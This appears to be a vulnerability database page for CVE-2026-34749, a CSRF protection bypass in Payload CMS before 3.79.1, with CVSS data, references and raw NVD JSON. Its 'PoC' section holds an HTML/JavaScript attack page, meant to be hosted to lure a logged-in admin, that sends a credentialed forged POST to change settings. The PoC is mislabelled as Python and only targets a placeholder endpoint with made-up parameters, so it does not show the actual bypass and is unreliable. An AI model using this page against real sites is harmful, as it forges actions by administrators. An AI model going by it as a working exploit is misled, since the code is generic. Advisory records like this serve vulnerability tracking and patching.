CVE-2026-34749

Description

Payload is a free and open source headless content management system. Prior to version 3.79.1, a Cross-Site Request Forgery (CSRF) vulnerability exists in the authentication flow. Under certain conditions, the configured CSRF protection could be bypassed, allowing cross-site requests to be made. This issue has been patched in version 3.79.1.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:payloadcms:payload:*:*:*:*:*:node.js:*:* - VULNERABLE

Payload CMS < 3.79.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CSRF Bypass in Payload CMS -->
<!-- Host this file on a malicious server and entice an authenticated admin to visit it -->

<html>
  <body>
    <h2>CVE-2026-34749 CSRF PoC</h2>
    <p>Attempting to perform an unauthorized action...</p>
    <script>
      // The specific endpoint depends on where the bypass occurs
      // This example attempts to send a POST request to a vulnerable endpoint
      const targetUrl = 'http://target-payload-cms-url.com/api/vulnerable-endpoint';
      
      fetch(targetUrl, {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
          // Note: In a standard CSRF scenario, the CSRF token might be required,
          // but due to the bypass vulnerability in versions < 3.79.1, 
          // the request may be processed without a valid token or with a missing one.
        },
        body: JSON.stringify({
          // Payload parameters to change settings or perform actions
          "action": "update_config",
          "malicious_setting": "exploited_value"
        }),
        credentials: 'include' // Ensures the browser sends authentication cookies
      })
      .then(response => {
        if (response.ok) {
          console.log('CSRF Attack potentially successful!');
          document.body.innerHTML += '<p style="color:green">Request sent successfully!</p>';
        } else {
          console.log('Attack failed or blocked.');
          document.body.innerHTML += '<p style="color:red">Request failed.</p>';
        }
      })
      .catch(error => {
        console.error('Error:', error);
      });
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34749
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34749
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34749/
[4] VulDB https://vuldb.com/cve/CVE-2026-34749
[5] https://github.com/payloadcms/payload/releases/tag/v3.79.1
[6] https://github.com/payloadcms/payload/security/advisories/GHSA-p6mr-xf3r-ghq4

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34749", "sourceIdentifier": "[email protected]", "published": "2026-04-01T20:16:27.187", "lastModified": "2026-04-13T19:13:43.503", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Payload is a free and open source headless content management system. Prior to version 3.79.1, a Cross-Site Request Forgery (CSRF) vulnerability exists in the authentication flow. Under certain conditions, the configured CSRF protection could be bypassed, allowing cross-site requests to be made. This issue has been patched in version 3.79.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:payloadcms:payload:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "3.79.1", "matchCriteriaId": "B4AE65F8-450D-4573-9CD7-1AA42CE5DC28"}]}]}], "references": [{"url": "https://github.com/payloadcms/payload/releases/tag/v3.79.1", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/payloadcms/payload/security/advisories/GHSA-p6mr-xf3r-ghq4", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}]}}